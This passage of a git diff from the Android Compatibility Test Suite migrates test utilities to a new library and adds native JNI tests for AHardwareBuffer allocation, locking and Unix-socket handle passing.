 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Intent;
-import android.cts.util.MediaUtils;
 import android.media.MediaFormat;
 import android.media.MediaRecorder.AudioEncoder;
 import android.media.MediaRecorder.VideoEncoder;
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/NativeMediaTest.java b/tests/tests/mediastress/src/android/mediastress/cts/NativeMediaTest.java
index 40284a6..5e77162 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/NativeMediaTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/NativeMediaTest.java
@@ -17,7 +17,6 @@
 
 import android.app.Instrumentation;
 import android.content.Intent;
-import android.cts.util.MediaUtils;
 import android.media.MediaFormat;
 import android.media.MediaRecorder.AudioEncoder;
 import android.media.MediaRecorder.VideoEncoder;
@@ -25,6 +24,8 @@
 import android.test.ActivityInstrumentationTestCase2;
 import android.util.Log;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import junit.framework.Assert;
 
 public class NativeMediaTest extends ActivityInstrumentationTestCase2<NativeMediaActivity> {
@@ -69,10 +70,14 @@
         waitForNativeMediaLifeCycle(activity, true);
         Thread.sleep(PLAY_WAIT_TIME_MS); // let it play for some time
         for (int i = 0; i < NUMBER_PLAY_PAUSE_REPEATITIONS; i++) {
-            instrumentation.callActivityOnPause(activity);
+            instrumentation.runOnMainSync(() -> {
+                instrumentation.callActivityOnPause(activity);
+            });
             instrumentation.waitForIdleSync();
             waitForNativeMediaLifeCycle(activity, false);
-            instrumentation.callActivityOnResume(activity);
+            instrumentation.runOnMainSync(() -> {
+                instrumentation.callActivityOnResume(activity);
+            });
             waitForNativeMediaLifeCycle(activity, true);
             Thread.sleep(PLAY_WAIT_TIME_MS); // let it play for some time
         }
diff --git a/tests/tests/midi/Android.mk b/tests/tests/midi/Android.mk
index 3dc0c8b..eeda8c8 100755
--- a/tests/tests/midi/Android.mk
+++ b/tests/tests/midi/Android.mk
@@ -25,7 +25,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/midi/AndroidTest.xml b/tests/tests/midi/AndroidTest.xml
index c95ab89..f0b3cce 100644
--- a/tests/tests/midi/AndroidTest.xml
+++ b/tests/tests/midi/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS MIDI test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMidiTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.midi.cts" />
+        <option name="runtime-hint" value="8m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/multiuser/Android.mk b/tests/tests/multiuser/Android.mk
index ae1be7e..67db1f5 100644
--- a/tests/tests/multiuser/Android.mk
+++ b/tests/tests/multiuser/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_PACKAGE_NAME := CtsMultiUserTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/multiuser/AndroidTest.xml b/tests/tests/multiuser/AndroidTest.xml
index c05430e..823ec5f 100644
--- a/tests/tests/multiuser/AndroidTest.xml
+++ b/tests/tests/multiuser/AndroidTest.xml
@@ -15,11 +15,13 @@
   ~ limitations under the License
   -->
 <configuration description="Config for CTS Multiuser test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMultiUserTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.multiuser.cts" />
+        <option name="runtime-hint" value="8m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
index 206a613..3e9122b 100644
--- a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
+++ b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
@@ -16,8 +16,8 @@
 
 package android.multiuser.cts;
 
+import com.android.compatibility.common.util.SystemUtil;
 
-import android.cts.util.SystemUtil;
 import android.os.UserManager;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
diff --git a/tests/tests/nativehardware/Android.mk b/tests/tests/nativehardware/Android.mk
new file mode 100644
index 0000000..a001387
--- /dev/null
+++ b/tests/tests/nativehardware/Android.mk
@@ -0,0 +1,94 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+#
+# Reusable test classes and helpers.
+#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := cts-nativehardware-tests
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
+
+LOCAL_JAVA_LIBRARIES := platform-test-annotations
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+#
+# JNI components for testing NDK.
+#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libcts-nativehardware-ndk-jni
+
+LOCAL_CFLAGS += -Werror -Wall -Wextra
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+    jni/AHardwareBufferTest.cpp \
+    jni/android_hardware_cts_AHardwareBufferNativeTest.cpp \
+    jni/NativeTestHelper.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+
+LOCAL_SHARED_LIBRARIES := libandroid liblog
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_NDK_STL_VARIANT := c++_shared
+
+include $(BUILD_SHARED_LIBRARY)
+
+#
+# CtsNativeHardwareTestCases package
+#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+# include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    ctstestrunner \
+    cts-nativehardware-tests \
+
+LOCAL_JNI_SHARED_LIBRARIES := libcts-nativehardware-ndk-jni
+
+LOCAL_PACKAGE_NAME := CtsNativeHardwareTestCases
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+LOCAL_NDK_STL_VARIANT := c++_shared
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/nativehardware/AndroidManifest.xml b/tests/tests/nativehardware/AndroidManifest.xml
new file mode 100644
index 0000000..f453fa8
--- /dev/null
+++ b/tests/tests/nativehardware/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.hardware.nativehardware.cts">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.hardware.nativehardware.cts"
+                     android:label="CTS native hardware tests">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/nativehardware/AndroidTest.xml b/tests/tests/nativehardware/AndroidTest.xml
new file mode 100644
index 0000000..074a962
--- /dev/null
+++ b/tests/tests/nativehardware/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Native Hardware test cases">
+    <option name="config-descriptor:metadata" key="component" value="vr" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsNativeHardwareTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.hardware.nativehardware.cts" />
+        <option name="runtime-hint" value="10s" />
+    </test>
+</configuration>
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
new file mode 100644
index 0000000..f0cbd0c
--- /dev/null
+++ b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
@@ -0,0 +1,283 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "AHardwareBufferTest.h"
+
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <unistd.h>
+
+#include <sstream>
+#include <string>
+
+#include <android/hardware_buffer.h>
+#define LOG_TAG "AHardwareBufferTest"
+#include "NativeTestHelper.h"
+
+namespace android {
+
+//#define LOG_NDEBUG 0
+
+#define BAD_VALUE -EINVAL
+#define NO_ERROR 0
+
+static std::string BuildHexFailureMessage(uint64_t expected,
+        uint64_t actual, const char* type) {
+    std::ostringstream ss;
+    ss << type << " 0x" << std::hex << actual
+            << " does not match expected " << type << " 0x" << std::hex
+            << expected;
+    return ss.str();
+}
+
+static std::string BuildFailureMessage(uint32_t expected,
+        uint32_t actual, const char* type) {
+    std::ostringstream ss;
+    ss << "Buffer " << type << " do not match" << ": " << actual << " != " << expected;
+    return ss.str();
+}
+
+static std::string CheckAHardwareBufferMatchesDesc(
+        AHardwareBuffer* abuffer, const AHardwareBuffer_Desc& desc) {
+    AHardwareBuffer_Desc bufferDesc;
+    AHardwareBuffer_describe(abuffer, &bufferDesc);
+    if (bufferDesc.width != desc.width)
+        return BuildFailureMessage(desc.width, bufferDesc.width, "widths");
+    if (bufferDesc.height != desc.height)
+        return BuildFailureMessage(desc.height, bufferDesc.height, "heights");
+    if (bufferDesc.layers != desc.layers)
+        return BuildFailureMessage(desc.layers, bufferDesc.layers, "layers");
+    if (bufferDesc.usage != desc.usage)
+        return BuildHexFailureMessage(desc.usage, bufferDesc.usage, "usage");
+    if (bufferDesc.format != desc.format)
+        return BuildFailureMessage(desc.format, bufferDesc.format, "formats");
+    return std::string();
+}
+
+bool AHardwareBufferTest::SetUp() { return true; }
+
+void AHardwareBufferTest::TearDown() {}
+
+// Test that passing in NULL values to allocate works as expected.
+void AHardwareBufferTest::testAHardwareBuffer_allocate_FailsWithNullInput(JNIEnv* env) {
+    AHardwareBuffer* buffer;
+    AHardwareBuffer_Desc desc;
+
+    memset(&desc, 0, sizeof(AHardwareBuffer_Desc));
+
+    int res = AHardwareBuffer_allocate(&desc, NULL);
+    ASSERT_EQ(BAD_VALUE, res);
+    res = AHardwareBuffer_allocate(NULL, &buffer);
+    ASSERT_EQ(BAD_VALUE, res);
+    res = AHardwareBuffer_allocate(NULL, NULL);
+    ASSERT_EQ(BAD_VALUE, res);
+}
+
+// Test that passing in NULL values to allocate works as expected.
+void AHardwareBufferTest::testAHardwareBuffer_allocate_BlobFormatRequiresHeight1(JNIEnv* env) {
+    AHardwareBuffer* buffer;
+    AHardwareBuffer_Desc desc = {};
+
+    desc.width = 2;
+    desc.height = 4;
+    desc.layers = 1;
+    desc.usage = AHARDWAREBUFFER_USAGE_CPU_READ_RARELY;
+    desc.format = AHARDWAREBUFFER_FORMAT_BLOB;
+    int res = AHardwareBuffer_allocate(&desc, &buffer);
+    ASSERT_EQ(BAD_VALUE, res);
+
+    desc.height = 1;
+    res = AHardwareBuffer_allocate(&desc, &buffer);
+    ASSERT_EQ(NO_ERROR, res);
+    ASSERT_EQ(std::string(), CheckAHardwareBufferMatchesDesc(buffer, desc));
+    AHardwareBuffer_release(buffer);
+    buffer = NULL;
+}
+
+// Test that allocate can create an AHardwareBuffer correctly.
+void AHardwareBufferTest::testAHardwareBuffer_allocate_Succeeds(JNIEnv* env) {
+    AHardwareBuffer* buffer = NULL;
+    AHardwareBuffer_Desc desc = {};
+
+    desc.width = 2;
+    desc.height = 4;
+    desc.layers = 1;
+    desc.usage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
+    desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
+    int res = AHardwareBuffer_allocate(&desc, &buffer);
+    ASSERT_EQ(NO_ERROR, res);
+    ASSERT_EQ(std::string(), CheckAHardwareBufferMatchesDesc(buffer, desc));
+    AHardwareBuffer_release(buffer);
+    buffer = NULL;
+
+    desc.width = 4;
+    desc.height = 12;
+    desc.layers = 1;
+    desc.usage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
+    desc.format = AHARDWAREBUFFER_FORMAT_R5G6B5_UNORM;
+    res = AHardwareBuffer_allocate(&desc, &buffer);
+    ASSERT_EQ(NO_ERROR, res);
+    ASSERT_EQ(std::string(), CheckAHardwareBufferMatchesDesc(buffer, desc));
+    AHardwareBuffer_release(buffer);
+}
+
+void AHardwareBufferTest::testAHardwareBuffer_describe_Succeeds(JNIEnv* env) {
+    AHardwareBuffer* buffer = NULL;
+    AHardwareBuffer_Desc desc = {};
+
+    desc.width = 2;
+    desc.height = 4;
+    desc.layers = 1;
+    desc.usage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
+    desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
+    int res = AHardwareBuffer_allocate(&desc, &buffer);
+    ASSERT_EQ(NO_ERROR, res);
+
+    AHardwareBuffer_Desc expected_desc;
+    memset(&expected_desc, 0, sizeof(AHardwareBuffer_Desc));
+    AHardwareBuffer_describe(NULL, &desc);
+    ASSERT_EQ(0U, expected_desc.width);
+    AHardwareBuffer_describe(buffer, NULL);
+    ASSERT_EQ(0U, expected_desc.width);
+    AHardwareBuffer_describe(buffer, &desc);
+    ASSERT_EQ(std::string(), CheckAHardwareBufferMatchesDesc(buffer, desc));
+
+    AHardwareBuffer_release(buffer);
+}
+
+struct ClientData {
+    int fd;
+    JNIEnv* env;
+    AHardwareBuffer* buffer;
+    ClientData(int fd_in, JNIEnv* env_in, AHardwareBuffer* buffer_in)
+            : fd(fd_in), env(env_in), buffer(buffer_in) {}
+};
+
+static void* clientFunction(void* data) {
+    ClientData* pdata = reinterpret_cast<ClientData*>(data);
+    int err = AHardwareBuffer_sendHandleToUnixSocket(pdata->buffer, pdata->fd);
+    if (err != NO_ERROR) {
+        fail(pdata->env, "Error sending handle to socket: %d", err);
+    }
+    close(pdata->fd);
+    return 0;
+}
+
+void AHardwareBufferTest::testAHardwareBuffer_SendAndRecv_Succeeds(JNIEnv* env) {
+    AHardwareBuffer* buffer = NULL;
+    AHardwareBuffer_Desc desc = {};
+
+    desc.width = 2;
+    desc.height = 4;
+    desc.layers = 1;
+    desc.usage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
+    desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
+
+    // Test that an invalid buffer fails.
+    int err = AHardwareBuffer_sendHandleToUnixSocket(NULL, 0);
+    ASSERT_EQ(BAD_VALUE, err);
+    err = 0;
+    err = AHardwareBuffer_sendHandleToUnixSocket(buffer, 0);
+    ASSERT_EQ(BAD_VALUE, err);
+
+    // Allocate the buffer.
+    err = AHardwareBuffer_allocate(&desc, &buffer);
+    ASSERT_EQ(NO_ERROR, err);
+
+    int fds[2];
+    err = socketpair(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0, fds);
+
+    // Launch a client that will send the buffer back.
+    ClientData data(fds[1], env, buffer);
+    pthread_t thread;
+    ASSERT_EQ(0, pthread_create(&thread, NULL, clientFunction, &data));
+
+    // Receive the buffer.
+    err = AHardwareBuffer_recvHandleFromUnixSocket(fds[0], NULL);
+    ASSERT_EQ(BAD_VALUE, err);
+
+    AHardwareBuffer* received = NULL;
+    err = AHardwareBuffer_recvHandleFromUnixSocket(fds[0], &received);
+    ASSERT_EQ(NO_ERROR, err);
+    ASSERT_TRUE(received != NULL);
+    ASSERT_EQ(std::string(), CheckAHardwareBufferMatchesDesc(received, desc));
+
+    void* ret_val;
+    ASSERT_EQ(0, pthread_join(thread, &ret_val));
+    ASSERT_EQ(NULL, ret_val);
+    close(fds[0]);
+
+    AHardwareBuffer_release(buffer);
+    AHardwareBuffer_release(received);
+}
+
+void AHardwareBufferTest::testAHardwareBuffer_Lock_and_Unlock_Succeed(JNIEnv* env) {
+    AHardwareBuffer* buffer = NULL;
+    AHardwareBuffer_Desc desc = {};
+
+    desc.width = 2;
+    desc.height = 4;
+    desc.layers = 1;
+    desc.usage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE | AHARDWAREBUFFER_USAGE_CPU_READ_RARELY;
+    desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
+
+    // Test that an invalid buffer fails.
+    int err = AHardwareBuffer_lock(NULL, 0, -1, NULL, NULL);
+    ASSERT_EQ(BAD_VALUE, err);
+    err = 0;
+
+    // Allocate the buffer.
+    err = AHardwareBuffer_allocate(&desc, &buffer);
+    ASSERT_EQ(NO_ERROR, err);
+    void* bufferData = NULL;
+    err = AHardwareBuffer_lock(buffer, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY, -1,
+          NULL, &bufferData);
+    ASSERT_EQ(NO_ERROR, err);
+    ASSERT_TRUE(bufferData != NULL);
+    int32_t fence = -1;
+    err = AHardwareBuffer_unlock(buffer, &fence);
+
+    AHardwareBuffer_release(buffer);
+}
+
+void AHardwareBufferTest::testAHardwareBufferSupportsLayeredBuffersForVr(JNIEnv* env) {
+    AHardwareBuffer* buffer = NULL;
+    AHardwareBuffer_Desc desc = {};
+
+    desc.width = 2;
+    desc.height = 4;
+    desc.layers = 2;
+    desc.usage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
+    desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
+    int res = AHardwareBuffer_allocate(&desc, &buffer);
+    ASSERT_EQ(NO_ERROR, res);
+    ASSERT_EQ(std::string(), CheckAHardwareBufferMatchesDesc(buffer, desc));
+    AHardwareBuffer_release(buffer);
+    buffer = NULL;
+
+    desc.width = 4;
+    desc.height = 12;
+    desc.layers = 3;
+    desc.usage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
+    desc.format = AHARDWAREBUFFER_FORMAT_R5G6B5_UNORM;
+    res = AHardwareBuffer_allocate(&desc, &buffer);
+    ASSERT_EQ(NO_ERROR, res);
+    ASSERT_EQ(std::string(), CheckAHardwareBufferMatchesDesc(buffer, desc));
+}
+
+} // namespace android
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferTest.h b/tests/tests/nativehardware/jni/AHardwareBufferTest.h
new file mode 100644
index 0000000..45a7bcb
--- /dev/null
+++ b/tests/tests/nativehardware/jni/AHardwareBufferTest.h
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef AHARDWAREBUFFER_TEST_H
+#define AHARDWAREBUFFER_TEST_H
+
+#include "NativeHardwareTest.h"
+
+#include <jni.h>
+
+namespace android {
+
+class AHardwareBufferTest : public NativeHardwareTest {
+public:
+    bool SetUp() override;
+    void TearDown() override;
+    virtual ~AHardwareBufferTest() = default;
+
+    // tests
+    void testAHardwareBuffer_allocate_FailsWithNullInput(JNIEnv *env);
+    void testAHardwareBuffer_allocate_BlobFormatRequiresHeight1(JNIEnv *env);
+    void testAHardwareBuffer_allocate_Succeeds(JNIEnv *env);
+    void testAHardwareBuffer_describe_Succeeds(JNIEnv *env);
+    void testAHardwareBuffer_SendAndRecv_Succeeds(JNIEnv *env);
+    void testAHardwareBuffer_Lock_and_Unlock_Succeed(JNIEnv *env);
+    void testAHardwareBufferSupportsLayeredBuffersForVr(JNIEnv *env);
+};
+
+} // namespace android
+
+#endif // AHARDWAREBUFFER_TEST_H
diff --git a/tests/tests/nativehardware/jni/NativeHardwareTest.h b/tests/tests/nativehardware/jni/NativeHardwareTest.h
new file mode 100644
index 0000000..2b3fda9
--- /dev/null
+++ b/tests/tests/nativehardware/jni/NativeHardwareTest.h
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef NATIVEHARDWARE_TEST_H
+#define NATIVEHARDWARE_TEST_H
+
+namespace android {
+
+class NativeHardwareTest {
+public:
+    virtual bool SetUp() = 0;
+    virtual void TearDown() = 0;
+    virtual ~NativeHardwareTest() = default;
+};
+
+} // namespace android
+
+#endif // NATIVEHARDWARE_TEST_H
diff --git a/tests/tests/nativehardware/jni/NativeTestHelper.cpp b/tests/tests/nativehardware/jni/NativeTestHelper.cpp
new file mode 100644
index 0000000..5737d0c
--- /dev/null
+++ b/tests/tests/nativehardware/jni/NativeTestHelper.cpp
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "NativeTestHelper.h"
+
+#include <cstdlib>
+#include <cstring>
+
+extern int register_android_hardware_cts_AHardwareBufferNativeTest(JNIEnv* env);
+
+void fail(JNIEnv* env, const char* format, ...) {
+    va_list args;
+
+    va_start(args, format);
+    char *msg;
+    vasprintf(&msg, format, args);
+    va_end(args);
+
+    jclass exClass;
+    const char *className = "java/lang/AssertionError";
+    exClass = env->FindClass(className);
+    env->ThrowNew(exClass, msg);
+    free(msg);
+}
+
+jint JNI_OnLoad(JavaVM *vm, void *) {
+    JNIEnv *env = NULL;
+    if (vm->GetEnv((void**)&env, JNI_VERSION_1_4) != JNI_OK) {
+        return JNI_ERR;
+    }
+    if (register_android_hardware_cts_AHardwareBufferNativeTest(env)) {
+        return JNI_ERR;
+    }
+    return JNI_VERSION_1_4;
+}
diff --git a/tests/tests/nativehardware/jni/NativeTestHelper.h b/tests/tests/nativehardware/jni/NativeTestHelper.h
new file mode 100644
index 0000000..fcc8d7f
--- /dev/null
+++ b/tests/tests/nativehardware/jni/NativeTestHelper.h
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include <jni.h>
+
+#include <android/log.h>
+#define ALOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, TAG, __VA_ARGS__)
+#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, TAG, __VA_ARGS__)
+#define ALOGI(...) __android_log_print(ANDROID_LOG_INFO, TAG, __VA_ARGS__)
+
+#define ASSERT(condition, format, args...) \
+        if (!(condition)) { \
+            fail(env, format, ## args); \
+            return; \
+        }
+
+// gtest style assert
+#define ASSERT_TRUE(a) ASSERT((a), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_FALSE(a) ASSERT(!(a), "assert failed on (!" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_EQ(a, b) \
+        ASSERT((a) == (b), "assert failed on (" #a " == " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NE(a, b) \
+        ASSERT((a) != (b), "assert failed on (" #a " != " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GT(a, b) \
+        ASSERT((a) > (b), "assert failed on (" #a " > " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GE(a, b) \
+        ASSERT((a) >= (b), "assert failed on (" #a " >= " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LT(a, b) \
+        ASSERT((a) < (b), "assert failed on (" #a " < " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LE(a, b) \
+        ASSERT((a) <= (b), "assert failed on (" #a " <= " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NULL(a) \
+        ASSERT((a) == nullptr, "assert failed on isNull(" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NOT_NULL(a) \
+        ASSERT((a) != nullptr, "assert failed on isNotNull(" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NAN(a) \
+        ASSERT(isnan(a), "assert failed on isNan(" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_EMPTY_CSTR(a) do { \
+        const char *tmp = a; \
+        ASSERT(tmp != nullptr, \
+               "assert failed on (empty_cstr(" #a "): " #a " != nullptr) " \
+               "at " __FILE__ ":%d", __LINE__); \
+        ASSERT(tmp[0] == '\0', \
+               "assert failed on (empty_cstr(" #a "): strlen() == 0) " \
+               "at " __FILE__ ":%d", __LINE__); \
+    } while (false)
+
+
+void fail(JNIEnv* env, const char* format, ...);
diff --git a/tests/tests/nativehardware/jni/android_hardware_cts_AHardwareBufferNativeTest.cpp b/tests/tests/nativehardware/jni/android_hardware_cts_AHardwareBufferNativeTest.cpp
new file mode 100644
index 0000000..30850c7
--- /dev/null
+++ b/tests/tests/nativehardware/jni/android_hardware_cts_AHardwareBufferNativeTest.cpp
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
